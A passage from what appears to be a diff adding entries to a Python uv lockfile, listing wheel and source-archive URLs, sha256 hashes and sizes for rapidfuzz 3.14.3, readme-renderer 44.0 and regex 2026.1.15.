"https://files.pythonhosted.org/packages/83/86/5d72e2c060aa1fbdc1f7362d938f6b237dff91f5b9fc5dd7cc297e112250/rapidfuzz-3.14.3-cp314-cp314-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2dc37bc20272f388b8c3a4eba4febc6e77e50a8f450c472def4751e7678f55e4", size = 1379126, upload-time = "2025-11-01T11:54:05.777Z" }, + { url = "https://files.pythonhosted.org/packages/c9/bc/ef2cee3e4d8b3fc22705ff519f0d487eecc756abdc7c25d53686689d6cf2/rapidfuzz-3.14.3-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:dee362e7e79bae940a5e2b3f6d09c6554db6a4e301cc68343886c08be99844f1", size = 3159304, upload-time = "2025-11-01T11:54:07.351Z" }, + { url = "https://files.pythonhosted.org/packages/a0/36/dc5f2f62bbc7bc90be1f75eeaf49ed9502094bb19290dfb4747317b17f12/rapidfuzz-3.14.3-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:4b39921df948388a863f0e267edf2c36302983459b021ab928d4b801cbe6a421", size = 1218207, upload-time = "2025-11-01T11:54:09.641Z" }, + { url = "https://files.pythonhosted.org/packages/df/7e/8f4be75c1bc62f47edf2bbbe2370ee482fae655ebcc4718ac3827ead3904/rapidfuzz-3.14.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:beda6aa9bc44d1d81242e7b291b446be352d3451f8217fcb068fc2933927d53b", size = 2401245, upload-time = "2025-11-01T11:54:11.543Z" }, + { url = "https://files.pythonhosted.org/packages/05/38/f7c92759e1bb188dd05b80d11c630ba59b8d7856657baf454ff56059c2ab/rapidfuzz-3.14.3-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:6a014ba09657abfcfeed64b7d09407acb29af436d7fc075b23a298a7e4a6b41c", size = 2518308, upload-time = "2025-11-01T11:54:13.134Z" }, + { url = "https://files.pythonhosted.org/packages/c7/ac/85820f70fed5ecb5f1d9a55f1e1e2090ef62985ef41db289b5ac5ec56e28/rapidfuzz-3.14.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:32eeafa3abce138bb725550c0e228fc7eaeec7059aa8093d9cbbec2b58c2371a", size = 4265011, upload-time = "2025-11-01T11:54:15.087Z" }, + { url = "https://files.pythonhosted.org/packages/46/a9/616930721ea9835c918af7cde22bff17f9db3639b0c1a7f96684be7f5630/rapidfuzz-3.14.3-cp314-cp314-win32.whl", hash = "sha256:adb44d996fc610c7da8c5048775b21db60dd63b1548f078e95858c05c86876a3", size = 1742245, upload-time = "2025-11-01T11:54:17.19Z" }, + { url = "https://files.pythonhosted.org/packages/06/8a/f2fa5e9635b1ccafda4accf0e38246003f69982d7c81f2faa150014525a4/rapidfuzz-3.14.3-cp314-cp314-win_amd64.whl", hash = "sha256:f3d15d8527e2b293e38ce6e437631af0708df29eafd7c9fc48210854c94472f9", size = 1584856, upload-time = "2025-11-01T11:54:18.764Z" }, + { url = "https://files.pythonhosted.org/packages/ef/97/09e20663917678a6d60d8e0e29796db175b1165e2079830430342d5298be/rapidfuzz-3.14.3-cp314-cp314-win_arm64.whl", hash = "sha256:576e4b9012a67e0bf54fccb69a7b6c94d4e86a9540a62f1a5144977359133583", size = 833490, upload-time = "2025-11-01T11:54:20.753Z" }, + { url = "https://files.pythonhosted.org/packages/03/1b/6b6084576ba87bf21877c77218a0c97ba98cb285b0c02eaaee3acd7c4513/rapidfuzz-3.14.3-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:cec3c0da88562727dd5a5a364bd9efeb535400ff0bfb1443156dd139a1dd7b50", size = 1968658, upload-time = "2025-11-01T11:54:22.25Z" }, + { url = "https://files.pythonhosted.org/packages/38/c0/fb02a0db80d95704b0a6469cc394e8c38501abf7e1c0b2afe3261d1510c2/rapidfuzz-3.14.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:d1fa009f8b1100e4880868137e7bf0501422898f7674f2adcd85d5a67f041296", size = 1410742, upload-time = "2025-11-01T11:54:23.863Z" }, + { url = "https://files.pythonhosted.org/packages/a4/72/3fbf12819fc6afc8ec75a45204013b40979d068971e535a7f3512b05e765/rapidfuzz-3.14.3-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1b86daa7419b5e8b180690efd1fdbac43ff19230803282521c5b5a9c83977655", size = 1382810, upload-time = "2025-11-01T11:54:25.571Z" }, + { url = "https://files.pythonhosted.org/packages/0f/18/0f1991d59bb7eee28922a00f79d83eafa8c7bfb4e8edebf4af2a160e7196/rapidfuzz-3.14.3-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c7bd1816db05d6c5ffb3a4df0a2b7b56fb8c81ef584d08e37058afa217da91b1", size = 3166349, upload-time = "2025-11-01T11:54:27.195Z" }, + { url = "https://files.pythonhosted.org/packages/0d/f0/baa958b1989c8f88c78bbb329e969440cf330b5a01a982669986495bb980/rapidfuzz-3.14.3-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:33da4bbaf44e9755b0ce192597f3bde7372fe2e381ab305f41b707a95ac57aa7", size = 1214994, upload-time = "2025-11-01T11:54:28.821Z" }, + { url = "https://files.pythonhosted.org/packages/e4/a0/cd12ec71f9b2519a3954febc5740291cceabc64c87bc6433afcb36259f3b/rapidfuzz-3.14.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:3fecce764cf5a991ee2195a844196da840aba72029b2612f95ac68a8b74946bf", size = 2403919, upload-time = "2025-11-01T11:54:30.393Z" }, + { url = "https://files.pythonhosted.org/packages/0b/ce/019bd2176c1644098eced4f0595cb4b3ef52e4941ac9a5854f209d0a6e16/rapidfuzz-3.14.3-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:ecd7453e02cf072258c3a6b8e930230d789d5d46cc849503729f9ce475d0e785", size = 2508346, upload-time = "2025-11-01T11:54:32.048Z" }, + { url = "https://files.pythonhosted.org/packages/23/f8/be16c68e2c9e6c4f23e8f4adbb7bccc9483200087ed28ff76c5312da9b14/rapidfuzz-3.14.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:ea188aa00e9bcae8c8411f006a5f2f06c4607a02f24eab0d8dc58566aa911f35", size = 4274105, upload-time = "2025-11-01T11:54:33.701Z" }, + { url = "https://files.pythonhosted.org/packages/a1/d1/5ab148e03f7e6ec8cd220ccf7af74d3aaa4de26dd96df58936beb7cba820/rapidfuzz-3.14.3-cp314-cp314t-win32.whl", hash = "sha256:7ccbf68100c170e9a0581accbe9291850936711548c6688ce3bfb897b8c589ad", size = 1793465, upload-time = "2025-11-01T11:54:35.331Z" }, + { url = "https://files.pythonhosted.org/packages/cd/97/433b2d98e97abd9fff1c470a109b311669f44cdec8d0d5aa250aceaed1fb/rapidfuzz-3.14.3-cp314-cp314t-win_amd64.whl", hash = "sha256:9ec02e62ae765a318d6de38df609c57fc6dacc65c0ed1fd489036834fd8a620c", size = 1623491, upload-time = "2025-11-01T11:54:38.085Z" }, + { url = "https://files.pythonhosted.org/packages/e2/f6/e2176eb94f94892441bce3ddc514c179facb65db245e7ce3356965595b19/rapidfuzz-3.14.3-cp314-cp314t-win_arm64.whl", hash = "sha256:e805e52322ae29aa945baf7168b6c898120fbc16d2b8f940b658a5e9e3999253", size = 851487, upload-time = "2025-11-01T11:54:40.176Z" }, + { url = "https://files.pythonhosted.org/packages/c9/33/b5bd6475c7c27164b5becc9b0e3eb978f1e3640fea590dd3dced6006ee83/rapidfuzz-3.14.3-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:7cf174b52cb3ef5d49e45d0a1133b7e7d0ecf770ed01f97ae9962c5c91d97d23", size = 1888499, upload-time = "2025-11-01T11:54:42.094Z" }, + { url = "https://files.pythonhosted.org/packages/30/d2/89d65d4db4bb931beade9121bc71ad916b5fa9396e807d11b33731494e8e/rapidfuzz-3.14.3-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:442cba39957a008dfc5bdef21a9c3f4379e30ffb4e41b8555dbaf4887eca9300", size = 1336747, upload-time = "2025-11-01T11:54:43.957Z" }, + { url = "https://files.pythonhosted.org/packages/85/33/cd87d92b23f0b06e8914a61cea6850c6d495ca027f669fab7a379041827a/rapidfuzz-3.14.3-pp311-pypy311_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1faa0f8f76ba75fd7b142c984947c280ef6558b5067af2ae9b8729b0a0f99ede", size = 1352187, upload-time = "2025-11-01T11:54:45.518Z" }, + { url = "https://files.pythonhosted.org/packages/22/20/9d30b4a1ab26aac22fff17d21dec7e9089ccddfe25151d0a8bb57001dc3d/rapidfuzz-3.14.3-pp311-pypy311_pp73-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1e6eefec45625c634926a9fd46c9e4f31118ac8f3156fff9494422cee45207e6", size = 3101472, upload-time = "2025-11-01T11:54:47.255Z" }, + { url = "https://files.pythonhosted.org/packages/b1/ad/fa2d3e5c29a04ead7eaa731c7cd1f30f9ec3c77b3a578fdf90280797cbcb/rapidfuzz-3.14.3-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:56fefb4382bb12250f164250240b9dd7772e41c5c8ae976fd598a32292449cc5", size = 1511361, upload-time = "2025-11-01T11:54:49.057Z" }, +] + +[[package]] +name = "readme-renderer" +version = "44.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "docutils" }, + { name = "nh3" }, + { name = "pygments" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/5a/a9/104ec9234c8448c4379768221ea6df01260cd6c2ce13182d4eac531c8342/readme_renderer-44.0.tar.gz", hash = "sha256:8712034eabbfa6805cacf1402b4eeb2a73028f72d1166d6f5cb7f9c047c5d1e1", size = 32056, upload-time = "2024-07-08T15:00:57.805Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e1/67/921ec3024056483db83953ae8e48079ad62b92db7880013ca77632921dd0/readme_renderer-44.0-py3-none-any.whl", hash = "sha256:2fbca89b81a08526aadf1357a8c2ae889ec05fb03f5da67f9769c9a592166151", size = 13310, upload-time = "2024-07-08T15:00:56.577Z" }, +] + +[[package]] +name = "regex" +version = "2026.1.15" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/0b/86/07d5056945f9ec4590b518171c4254a5925832eb727b56d3c38a7476f316/regex-2026.1.15.tar.gz", hash = "sha256:164759aa25575cbc0651bef59a0b18353e54300d79ace8084c818ad8ac72b7d5", size = 414811, upload-time = "2026-01-14T23:18:02.775Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ea/d2/e6ee96b7dff201a83f650241c52db8e5bd080967cb93211f57aa448dc9d6/regex-2026.1.15-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:4e3dd93c8f9abe8aa4b6c652016da9a3afa190df5ad822907efe6b206c09896e", size = 488166, upload-time = "2026-01-14T23:13:46.408Z" }, + { url = "https://files.pythonhosted.org/packages/23/8a/819e9ce14c9f87af026d0690901b3931f3101160833e5d4c8061fa3a1b67/regex-2026.1.15-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:97499ff7862e868b1977107873dd1a06e151467129159a6ffd07b66706ba3a9f", size = 290632, upload-time = "2026-01-14T23:13:48.688Z" }, + { url = "https://files.pythonhosted.org/packages/d5/c3/23dfe15af25d1d45b07dfd4caa6003ad710dcdcb4c4b279909bdfe7a2de8/regex-2026.1.15-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:0bda75ebcac38d884240914c6c43d8ab5fb82e74cde6da94b43b17c411aa4c2b", size = 288500, upload-time = "2026-01-14T23:13:50.503Z" }, + { url = "https://files.pythonhosted.org/packages/c6/31/1adc33e2f717df30d2f4d973f8776d2ba6ecf939301efab29fca57505c95/regex-2026.1.15-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7dcc02368585334f5bc81fc73a2a6a0bbade60e7d83da21cead622faf408f32c", size = 781670, upload-time = "2026-01-14T23:13:52.453Z" }, + { url = "https://files.pythonhosted.org/packages/23/ce/21a8a22d13bc4adcb927c27b840c948f15fc973e21ed2346c1bd0eae22dc/regex-2026.1.15-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:693b465171707bbe882a7a05de5e866f33c76aa449750bee94a8d90463533cc9", size = 850820, upload-time = "2026-01-14T23:13:54.894Z" }, + { url = "https://files.pythonhosted.org/packages/6c/4f/3eeacdf587a4705a44484cd0b30e9230a0e602811fb3e2cc32268c70d509/regex-2026.1.15-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b0d190e6f013ea938623a58706d1469a62103fb2a241ce2873a9906e0386582c", size = 898777, upload-time = "2026-01-14T23:13:56.908Z" }, + { url = "https://files.pythonhosted.org/packages/79/a9/1898a077e2965c35fc22796488141a22676eed2d73701e37c73ad7c0b459/regex-2026.1.15-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5ff818702440a5878a81886f127b80127f5d50563753a28211482867f8318106", size = 791750, upload-time = "2026-01-14T23:13:58.527Z" }, + { url = "https://files.pythonhosted.org/packages/4c/84/e31f9d149a178889b3817212827f5e0e8c827a049ff31b4b381e76b26e2d/regex-2026.1.15-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:f052d1be37ef35a54e394de66136e30fa1191fab64f71fc06ac7bc98c9a84618", size = 782674, upload-time = "2026-01-14T23:13:59.874Z" }, + { url = "https://files.pythonhosted.org/packages/d2/ff/adf60063db24532add6a1676943754a5654dcac8237af024ede38244fd12/regex-2026.1.15-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:6bfc31a37fd1592f0c4fc4bfc674b5c42e52efe45b4b7a6a14f334cca4bcebe4", size = 767906, upload-time = "2026-01-14T23:14:01.298Z" }, + { url = "https://files.pythonhosted.org/packages/af/3e/e6a216cee1e2780fec11afe7fc47b6f3925d7264e8149c607ac389fd9b1a/regex-2026.1.15-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3d6ce5ae80066b319ae3bc62fd55a557c9491baa5efd0d355f0de08c4ba54e79", size = 774798, upload-time = "2026-01-14T23:14:02.715Z" }, + { url = "https://files.pythonhosted.org/packages/0f/98/23a4a8378a9208514ed3efc7e7850c27fa01e00ed8557c958df0335edc4a/regex-2026.1.15-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:1704d204bd42b6bb80167df0e4554f35c255b579ba99616def38f69e14a5ccb9", size = 845861, upload-time = "2026-01-14T23:14:04.824Z" }, + { url = "https://files.pythonhosted.org/packages/f8/57/d7605a9d53bd07421a8785d349cd29677fe660e13674fa4c6cbd624ae354/regex-2026.1.15-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:e3174a5ed4171570dc8318afada56373aa9289eb6dc0d96cceb48e7358b0e220", size = 755648, upload-time = "2026-01-14T23:14:06.371Z" }, + { url = "https://files.pythonhosted.org/packages/6f/76/6f2e24aa192da1e299cc1101674a60579d3912391867ce0b946ba83e2194/regex-2026.1.15-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:87adf5bd6d72e3e17c9cb59ac4096b1faaf84b7eb3037a5ffa61c4b4370f0f13", size = 836250, upload-time = "2026-01-14T23:14:08.343Z" }, + { url = "https://files.pythonhosted.org/packages/11/3a/1f2a1d29453299a7858eab7759045fc3d9d1b429b088dec2dc85b6fa16a2/regex-2026.1.15-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:e85dc94595f4d766bd7d872a9de5ede1ca8d3063f3bdf1e2c725f5eb411159e3", size = 779919, upload-time = "2026-01-14T23:14:09.954Z" }, + { url = "https://files.pythonhosted.org/packages/c0/67/eab9bc955c9dcc58e9b222c801e39cff7ca0b04261792a2149166ce7e792/regex-2026.1.15-cp310-cp310-win32.whl", hash = "sha256:21ca32c28c30d5d65fc9886ff576fc9b59bbca08933e844fa2363e530f4c8218", size = 265888, upload-time = "2026-01-14T23:14:11.35Z" }, + { url = "https://files.pythonhosted.org/packages/1d/62/31d16ae24e1f8803bddb0885508acecaec997fcdcde9c243787103119ae4/regex-2026.1.15-cp310-cp310-win_amd64.whl", hash = "sha256:3038a62fc7d6e5547b8915a3d927a0fbeef84cdbe0b1deb8c99bbd4a8961b52a", size = 277830, upload-time = "2026-01-14T23:14:12.908Z" }, + { url = "https://files.pythonhosted.org/packages/e5/36/5d9972bccd6417ecd5a8be319cebfd80b296875e7f116c37fb2a2deecebf/regex-2026.1.15-cp310-cp310-win_arm64.whl", hash = "sha256:505831646c945e3e63552cc1b1b9b514f0e93232972a2d5bedbcc32f15bc82e3", size = 270376, upload-time = "2026-01-14T23:14:14.782Z" }, + { url = "https://files.pythonhosted.org/packages/d0/c9/0c80c96eab96948363d270143138d671d5731c3a692b417629bf3492a9d6/regex-2026.1.15-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:1ae6020fb311f68d753b7efa9d4b9a5d47a5d6466ea0d5e3b5a471a960ea6e4a", size = 488168, upload-time = "2026-01-14T23:14:16.129Z" }, + { url = "https://files.pythonhosted.org/packages/17/f0/271c92f5389a552494c429e5cc38d76d1322eb142fb5db3c8ccc47751468/regex-2026.1.15-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:eddf73f41225942c1f994914742afa53dc0d01a6e20fe14b878a1b1edc74151f", size = 290636, upload-time = "2026-01-14T23:14:17.715Z" }, + { url = "https://files.pythonhosted.org/packages/a0/f9/5f1fd077d106ca5655a0f9ff8f25a1ab55b92128b5713a91ed7134ff688e/regex-2026.1.15-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1e8cd52557603f5c66a548f69421310886b28b7066853089e1a71ee710e1cdc1", size = 288496, upload-time = "2026-01-14T23:14:19.326Z" }, + { url = "https://files.pythonhosted.org/packages/b5/e1/8f43b03a4968c748858ec77f746c286d81f896c2e437ccf050ebc5d3128c/regex-2026.1.15-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5170907244b14303edc5978f522f16c974f32d3aa92109fabc2af52411c9433b", size = 793503, upload-time = "2026-01-14T23:14:20.922Z" }, + { url = "https://files.pythonhosted.org/packages/8d/4e/a39a5e8edc5377a46a7c875c2f9a626ed3338cb3bb06931be461c3e1a34a/regex-2026.1.15-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2748c1ec0663580b4510bd89941a31560b4b439a0b428b49472a3d9944d11cd8", size = 860535, upload-time = "2026-01-14T23:14:22.405Z" }, + { url = "https://files.pythonhosted.org/packages/dc/1c/9dce667a32a9477f7a2869c1c767dc00727284a9fa3ff5c09a5c6c03575e/regex-2026.1.15-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:2f2775843ca49360508d080eaa87f94fa248e2c946bbcd963bb3aae14f333413", size = 907225, upload-time = "2026-01-14T23:14:23.897Z" }, + { url = "https://files.pythonhosted.org/packages/a4/3c/87ca0a02736d16b6262921425e84b48984e77d8e4e572c9072ce96e66c30/regex-2026.1.15-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d9ea2604370efc9a174c1b5dcc81784fb040044232150f7f33756049edfc9026", size = 800526, upload-time = "2026-01-14T23:14:26.039Z" }, + { url = "https://files.pythonhosted.org/packages/4b/ff/647d5715aeea7c87bdcbd2f578f47b415f55c24e361e639fe8c0cc88878f/regex-2026.1.15-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0dcd31594264029b57bf16f37fd7248a70b3b764ed9e0839a8f271b2d22c0785", size = 773446, upload-time = "2026-01-14T23:14:28.109Z" }, + { url = "https://files.pythonhosted.org/packages/af/89/bf22cac25cb4ba0fe6bff52ebedbb65b77a179052a9d6037136ae93f42f4/regex-2026.1.15-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:c08c1f3e34338256732bd6938747daa3c0d5b251e04b6e43b5813e94d503076e", size = 783051, upload-time = "2026-01-14T23:14:29.929Z" }, + { url = "https://files.pythonhosted.org/packages/1e/f4/6ed03e71dca6348a5188363a34f5e26ffd5db1404780288ff0d79513bce4/regex-2026.1.15-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:e43a55f378df1e7a4fa3547c88d9a5a9b7113f653a66821bcea4718fe6c58763", size = 854485, upload-time = "2026-01-14T23:14:31.366Z" }, + { url = "https://files.pythonhosted.org/packages/d9/9a/8e8560bd78caded8eb137e3e47612430a05b9a772caf60876435192d670a/regex-2026.1.15-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:f82110ab962a541737bd0ce87978d4c658f06e7591ba899192e2712a517badbb", size = 762195, upload-time = "2026-01-14T23:14:32.802Z" }, + { url = "https://files.pythonhosted.org/packages/38/6b/61fc710f9aa8dfcd764fe27d37edfaa023b1a23305a0d84fccd5adb346ea/regex-2026.1.15-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:27618391db7bdaf87ac6c92b31e8f0dfb83a9de0075855152b720140bda177a2", size = 845986, upload-time = "2026-01-14T23:14:34.898Z" }, + { url = "https://files.pythonhosted.org/packages/fd/2e/fbee4cb93f9d686901a7ca8d94285b80405e8c34fe4107f63ffcbfb56379/regex-2026.1.15-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:bfb0d6be01fbae8d6655c8ca21b3b72458606c4aec9bbc932db758d47aba6db1", size = 788992, upload-time = "2026-01-14T23:14:37.116Z" }, + { url = "https://files.pythonhosted.org/packages/ed/14/3076348f3f586de64b1ab75a3fbabdaab7684af7f308ad43be7ef1849e55/regex-2026.1.15-cp311-cp311-win32.whl", hash = "sha256:b10e42a6de0e32559a92f2f8dc908478cc0fa02838d7dbe764c44dca3fa13569", size = 265893, upload-time = "2026-01-14T23:14:38.426Z" }, + { url = "https://files.pythonhosted.org/packages/0f/19/772cf8b5fc803f5c89ba85d8b1870a1ca580dc482aa030383a9289c82e44/regex-2026.1.15-cp311-cp311-win_amd64.whl", hash = "sha256:e9bf3f0bbdb56633c07d7116ae60a576f846efdd86a8848f8d62b749e1209ca7", size = 277840, upload-time = "2026-01-14T23:14:39.785Z" }, + { url = "https://files.pythonhosted.org/packages/78/84/d05f61142709474da3c0853222d91086d3e1372bcdab516c6fd8d80f3297/regex-2026.1.15-cp311-cp311-win_arm64.whl", hash = "sha256:41aef6f953283291c4e4e6850607bd71502be67779586a61472beacb315c97ec", size = 270374, upload-time = "2026-01-14T23:14:41.592Z" }, + { url = "https://files.pythonhosted.org/packages/92/81/10d8cf43c807d0326efe874c1b79f22bfb0fb226027b0b19ebc26d301408/regex-2026.1.15-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:4c8fcc5793dde01641a35905d6731ee1548f02b956815f8f1cab89e515a5bdf1", size = 489398, upload-time = "2026-01-14T23:14:43.741Z" }, + { url = "https://files.pythonhosted.org/packages/90/b0/7c2a74e74ef2a7c32de724658a69a862880e3e4155cba992ba04d1c70400/regex-2026.1.15-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:bfd876041a956e6a90ad7cdb3f6a630c07d491280bfeed4544053cd434901681", size = 291339, upload-time = "2026-01-14T23:14:45.183Z" }, + { url = "https://files.pythonhosted.org/packages/19/4d/16d0773d0c818417f4cc20aa0da90064b966d22cd62a8c46765b5bd2d643/regex-2026.1.15-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:9250d087bc92b7d4899ccd5539a1b2334e44eee85d848c4c1aef8e221d3f8c8f", size = 289003, upload-time = "2026-01-14T23:14:47.25Z" }, + { url = "https://files.pythonhosted.org/packages/c6/e4/1fc4599450c9f0863d9406e944592d968b8d6dfd0d552a7d569e43bceada/regex-2026.1.15-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c8a154cf6537ebbc110e24dabe53095e714245c272da9c1be05734bdad4a61aa", size = 798656, upload-time = "2026-01-14T23:14:48.77Z" }, + { url = "https://files.pythonhosted.org/packages/b2/e6/59650d73a73fa8a60b3a590545bfcf1172b4384a7df2e7fe7b9aab4e2da9/regex-2026.1.15-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8050ba2e3ea1d8731a549e83c18d2f0999fbc99a5f6bd06b4c91449f55291804", size = 864252, upload-time = "2026-01-14T23:14:50.528Z" }, + { url = "https://files.pythonhosted.org/packages/6e/ab/1d0f4d50a1638849a97d731364c9a80fa304fec46325e48330c170ee8e80/regex-2026.1.15-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0bf065240704cb8951cc04972cf107063917022511273e0969bdb34fc173456c", size = 912268, upload-time = "2026-01-14T23:14:52.952Z" }, + { url = "https://files.pythonhosted.org/packages/dd/df/0d722c030c82faa1d331d1921ee268a4e8fb55ca8b9042c9341c352f17fa/regex-2026.1.15-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c32bef3e7aeee75746748643667668ef941d28b003bfc89994ecf09a10f7a1b5", size = 803589, upload-time = "2026-01-14T23:14:55.182Z" }, + { url = "https://files.pythonhosted.org/packages/66/23/33289beba7ccb8b805c6610a8913d0131f834928afc555b241caabd422a9/regex-2026.1.15-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d5eaa4a4c5b1906bd0d2508d68927f15b81821f85092e06f1a34a4254b0e1af3", size = 775700, upload-time = "2026-01-14T23:14:56.707Z" }, + { url = "https://files.pythonhosted.org/packages/e7/65/bf3a42fa6897a0d3afa81acb25c42f4b71c274f698ceabd75523259f6688/regex-2026.1.15-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:86c1077a3cc60d453d4084d5b9649065f3bf1184e22992bd322e1f081d3117fb", size = 787928, upload-time = "2026-01-14T23:14:58.312Z" }, + { url = "https://files.pythonhosted.org/packages/f4/f5/13bf65864fc314f68cdd6d8ca94adcab064d4d39dbd0b10fef29a9da48fc/regex-2026.1.15-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:2b091aefc05c78d286657cd4db95f2e6313375ff65dcf085e42e4c04d9c8d410", size = 858607, upload-time = "2026-01-14T23:15:00.657Z" }, + { url = "https://files.pythonhosted.org/packages/a3/31/040e589834d7a439ee43fb0e1e902bc81bd58a5ba81acffe586bb3321d35/regex-2026.1.15-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:57e7d17f59f9ebfa9667e6e5a1c0127b96b87cb9cede8335482451ed00788ba4", size = 763729, upload-time = "2026-01-14T23:15:02.248Z" }, + { url = "https://files.pythonhosted.org/packages/9b/84/6921e8129687a427edf25a34a5594b588b6d88f491320b9de5b6339a4fcb/regex-2026.1.15-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:c6c4dcdfff2c08509faa15d36ba7e5ef5fcfab25f1e8f85a0c8f45bc3a30725d", size = 850697, upload-time = "2026-01-14T23:15:03.878Z" }, + { url = "https://files.pythonhosted.org/packages/8a/87/3d06143d4b128f4229158f2de5de6c8f2485170c7221e61bf381313314b2/regex-2026.1.15-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:cf8ff04c642716a7f2048713ddc6278c5fd41faa3b9cab12607c7abecd012c22", size = 789849, upload-time = "2026-01-14T23:15:06.102Z" }, + { url = "https://files.pythonhosted.org/packages/77/69/c50a63842b6bd48850ebc7ab22d46e7a2a32d824ad6c605b218441814639/regex-2026.1.15-cp312-cp312-win32.whl", hash = "sha256:82345326b1d8d56afbe41d881fdf62f1926d7264b2fc1537f99ae5da9aad7913", size = 266279, upload-time = "2026-01-14T23:15:07.678Z" }, + { url = "https://files.pythonhosted.org/packages/f2/36/39d0b29d087e2b11fd8191e15e81cce1b635fcc845297c67f11d0d19274d/regex-2026.1.15-cp312-cp312-win_amd64.whl", hash = "sha256:4def140aa6156bc64ee9912383d4038f3fdd18fee03a6f222abd4de6357ce42a", size = 277166, upload-time = "2026-01-14T23:15:09.257Z" }, + { url = "https://files.pythonhosted.org/packages/28/32/5b8e476a12262748851fa8ab1b0be540360692325975b094e594dfebbb52/regex-2026.1.15-cp312-cp312-win_arm64.whl", hash = "sha256:c6c565d9a6e1a8d783c1948937ffc377dd5771e83bd56de8317c450a954d2056", size = 270415, upload-time = "2026-01-14T23:15:10.743Z" }, + { url = "https://files.pythonhosted.org/packages/f8/2e/6870bb16e982669b674cce3ee9ff2d1d46ab80528ee6bcc20fb2292efb60/regex-2026.1.15-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:e69d0deeb977ffe7ed3d2e4439360089f9c3f217ada608f0f88ebd67afb6385e", size = 489164, upload-time = "2026-01-14T23:15:13.962Z" }, + { url = "https://files.pythonhosted.org/packages/dc/67/9774542e203849b0286badf67199970a44ebdb0cc5fb739f06e47ada72f8/regex-2026.1.15-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:3601ffb5375de85a16f407854d11cca8fe3f5febbe3ac78fb2866bb220c74d10", size = 291218, upload-time = "2026-01-14T23:15:15.647Z" }, + { url = 